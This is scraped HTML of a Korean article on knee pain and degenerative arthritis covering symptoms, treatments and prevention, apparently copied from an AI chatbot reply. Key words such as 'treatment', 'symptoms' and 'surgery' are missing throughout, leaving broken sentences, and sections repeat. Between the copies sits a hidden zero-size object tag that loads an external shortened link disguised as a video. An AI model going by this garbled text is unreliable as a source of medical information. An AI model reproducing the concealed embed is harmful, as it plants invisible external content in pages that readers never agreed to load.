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<div _ngcontent-ng-c912097829="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:25">무릎 통증, 퇴행성 관절염: 과 </h2><h3 data-sourcepos="3:1-3:22">무릎 통증의 주범, 퇴행성 관절염</h3><p data-sourcepos="5:1-5:170">무릎 통증은 일상생활에 큰 불편을 초래하는 대표적인 중 하나입니다. 그중에서도 퇴행성 관절염은 무릎 통증의 주요 원인으로 꼽힙니다. 퇴행성 관절염은 관절 연골이 닳아 손상되어 발생하는 으로, 나이가 들면서 자연스럽게 발생할 수 있으며, 과체중, 외상 등 다양한 원인에 의해 발생할 수 있습니다.</p><h3 data-sourcepos="7:1-7:18">퇴행성 관절염의 주요 </h3><ul data-sourcepos="9:1-13:0">
<li data-sourcepos="9:1-9:58"><strong>통증:</strong> 무릎 관절에 뻐근하거나 쑤시는 듯한 통증이 느껴지며, 활동 시 통증이 더욱 심해집니다.</li>
<li data-sourcepos="10:1-10:43"><strong>붓기:</strong> 무릎 관절 주변이 붓고 뻣뻣해져 관절의 움직임이 제한됩니다.</li>
<li data-sourcepos="11:1-11:44"><strong>소리:</strong> 관절을 움직일 때 마찰음이나 갈리는 소리가 들릴 수 있습니다.</li>
<li data-sourcepos="12:1-13:0"><strong>변형:</strong> 무릎 관절이 변형되어 O자형 다리나 X자형 다리로 변할 수 있습니다.</li>
</ul><h3 data-sourcepos="14:1-14:17">퇴행성 관절염 방법</h3><p data-sourcepos="16:1-16:70">퇴행성 관절염의 는 환자의 정도와 질병 진행 단계에 따라 달라집니다. 일반적으로 다음과 같은 방법이 사용됩니다.</p><ul data-sourcepos="18:1-30:0">
<li data-sourcepos="18:1-20:76"><strong>약물 :</strong>
<ul data-sourcepos="19:5-20:76">
<li data-sourcepos="19:5-19:62"><strong>진통소염제:</strong> 아스피린, 이부프로펜 등의 진통소염제는 통증과 염증을 완화하는 데 도움을 줍니다.</li>
<li data-sourcepos="20:5-20:76"><strong>관절내 주사:</strong> 히알루론산 주사 등은 관절 윤활액의 역할을 하여 통증을 완화하고 관절 기능을 개선하는 데 도움을 줍니다.</li>
</ul>
</li>
<li data-sourcepos="21:1-23:45"><strong>물리 :</strong>
<ul data-sourcepos="22:5-23:45">
<li data-sourcepos="22:5-22:62"><strong>운동 :</strong> 근력 강화 운동, 유연성 운동 등을 통해 관절 기능을 개선하고 통증을 완화합니다.</li>
<li data-sourcepos="23:5-23:45"><strong>전기 :</strong> 통증을 완화하고 근육을 이완시키는 가 있습니다.</li>
</ul>
</li>
<li data-sourcepos="24:1-26:48"><strong>보조기 사용:</strong>
<ul data-sourcepos="25:5-26:48">
<li data-sourcepos="25:5-25:51"><strong>무릎 보조기:</strong> 무릎 관절에 부담을 줄여 통증을 완화하고 관절을 보호합니다.</li>
<li data-sourcepos="26:5-26:48"><strong>지팡이:</strong> 체중 부담을 줄여 무릎 관절에 가해지는 압력을 감소시킵니다.</li>
</ul>
</li>
<li data-sourcepos="27:1-30:0"><strong> :</strong>
<ul data-sourcepos="28:5-30:0">
<li data-sourcepos="28:5-28:48"><strong>관절경 :</strong> 관절 내 손상된 연골을 제거하거나 봉합하는 입니다.</li>
<li data-sourcepos="29:5-30:0"><strong>인공관절 :</strong> 퇴행성 관절염이 심하게 진행된 경우, 손상된 관절을 인공관절로 교체하는 입니다.</li>
</ul>
</li>
</ul><h3 data-sourcepos="31:1-31:14">퇴행성 관절염 예방</h3><ul data-sourcepos="33:1-37:0">
<li data-sourcepos="33:1-33:62"><strong>적절한 체중 유지:</strong> 과체중은 무릎 관절에 부담을 증가시키므로, 적정 체중을 유지하는 것이 중요합니다.</li>
<li data-sourcepos="34:1-34:67"><strong>규칙적인 운동:</strong> 적절한 운동은 관절 주변 근육을 강화하고 유연성을 향상시켜 관절을 보호하는 데 도움이 됩니다.</li>
<li data-sourcepos="35:1-35:77"><strong>관절에 무리가 가지 않는 활동:</strong> 무릎에 무리가 가는 활동은 피하고, 관절에 부담을 주지 않는 가벼운 운동을 하는 것이 좋습니다.</li>
<li data-sourcepos="36:1-37:0"><strong>평발 교정:</strong> 평발은 무릎 관절에 부담을 줄 수 있으므로, 필요한 경우 교정을 받는 것이 좋습니다.</li>
</ul><p data-sourcepos="38:1-38:105"><strong>주의:</strong> 퇴행성 관절염은 조기에 할수록 좋은 예후를 기대할 수 있습니다. 무릎 통증이 지속된다면, 반드시 전문의와 상담하여 한 진단을 받고 적절한 를 받는 것이 중요합니다.</p><p data-sourcepos="40:1-40:85"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보이며, 개인의 상황에 따라 다를 수 있습니다. 한 진단과 는 전문의와 상담해야 합니다.</p><p data-sourcepos="42:1-42:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="9:1-9:58"><strong>통증:</strong> 무릎 관절에 뻐근하거나 쑤시는 듯한 통증이 느껴지며, 활동 시 통증이 더욱 심해집니다.</li>
<li data-sourcepos="10:1-10:43"><strong>붓기:</strong> 무릎 관절 주변이 붓고 뻣뻣해져 관절의 움직임이 제한됩니다.</li>
<li data-sourcepos="11:1-11:44"><strong>소리:</strong> 관절을 움직일 때 마찰음이나 갈리는 소리가 들릴 수 있습니다.</li>
<li data-sourcepos="12:1-13:0"><strong>변형:</strong> 무릎 관절이 변형되어 O자형 다리나 X자형 다리로 변할 수 있습니다.</li>
</ul><h3 data-sourcepos="14:1-14:17">퇴행성 관절염 방법</h3><p data-sourcepos="16:1-16:70">퇴행성 관절염의 는 환자의 정도와 질병 진행 단계에 따라 달라집니다. 일반적으로 다음과 같은 방법이 사용됩니다.</p><ul data-sourcepos="18:1-30:0">
<li data-sourcepos="18:1-20:76"><strong>약물 :</strong>
<ul data-sourcepos="19:5-20:76">
<li data-sourcepos="19:5-19:62"><strong>진통소염제:</strong> 아스피린, 이부프로펜 등의 진통소염제는 통증과 염증을 완화하는 데 도움을 줍니다.</li>
<li data-sourcepos="20:5-20:76"><strong>관절내 주사:</strong> 히알루론산 주사 등은 관절 윤활액의 역할을 하여 통증을 완화하고 관절 기능을 개선하는 데 도움을 줍니다.</li>
</ul>
</li>
<li data-sourcepos="21:1-23:45"><strong>물리 :</strong>
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<li data-sourcepos="22:5-22:62"><strong>운동 :</strong> 근력 강화 운동, 유연성 운동 등을 통해 관절 기능을 개선하고 통증을 완화합니다.</li>
<li data-sourcepos="23:5-23:45"><strong>전기 :</strong> 통증을 완화하고 근육을 이완시키는 가 있습니다.</li>
</ul>
</li>
<li data-sourcepos="24:1-26:48"><strong>보조기 사용:</strong>
<ul data-sourcepos="25:5-26:48">
<li data-sourcepos="25:5-25:51"><strong>무릎 보조기:</strong> 무릎 관절에 부담을 줄여 통증을 완화하고 관절을 보호합니다.</li>
<li data-sourcepos="26:5-26:48"><strong>지팡이:</strong> 체중 부담을 줄여 무릎 관절에 가해지는 압력을 감소시킵니다.</li>
</ul>
</li>
<li data-sourcepos="27:1-30:0"><strong> :</strong>
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<li data-sourcepos="28:5-28:48"><strong>관절경 :</strong> 관절 내 손상된 연골을 제거하거나 봉합하는 입니다.</li>
<li data-sourcepos="29:5-30:0"><strong>인공관절 :</strong> 퇴행성 관절염이 심하게 진행된 경우, 손상된 관절을 인공관절로 교체하는 입니다.</li>
</ul>
</li>
</ul><h3 data-sourcepos="31:1-31:14">퇴행성 관절염 예방</h3><ul data-sourcepos="33:1-37:0">
<li data-sourcepos="33:1-33:62"><strong>적절한 체중 유지:</strong> 과체중은 무릎 관절에 부담을 증가시키므로, 적정 체중을 유지하는 것이 중요합니다.</li>
<li data-sourcepos="34:1-34:67"><strong>규칙적인 운동:</strong> 적절한 운동은 관절 주변 근육을 강화하고 유연성을 향상시켜 관절을 보호하는 데 도움이 됩니다.</li>
<li data-sourcepos="35:1-35:77"><strong>관절에 무리가 가지 않는 활동:</strong> 무릎에 무리가 가는 활동은 피하고, 관절에 부담을 주지 않는 가벼운 운동을 하는 것이 좋습니다.</li>
<li data-sourcepos="36:1-37:0"><strong>평발 교정:</strong> 평발은 무릎 관절에 부담을 줄 수 있으므로, 필요한 경우 교정을 받는 것이 좋습니다.</li>
</ul><p data-sourcepos="38:1-38:105"><strong>주의:</strong> 퇴행성 관절염은 조기에 할수록 좋은 예후를 기대할 수 있습니다. 무릎 통증이 지속된다면, 반드시 전문의와 상담하여 한 진단을 받고 적절한 를 받는 것이 중요합니다.</p><p data-sourcepos="40:1-40:85"><strong>Disclaimer:</strong> 이 정보는 일반적인 건강 정보이며, 개인의 상황에 따라 다를 수 있습니다. 한 진단과 는 전문의와 상담해야 합니다.</p><p data-sourcepos="42:1-42:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p></div>
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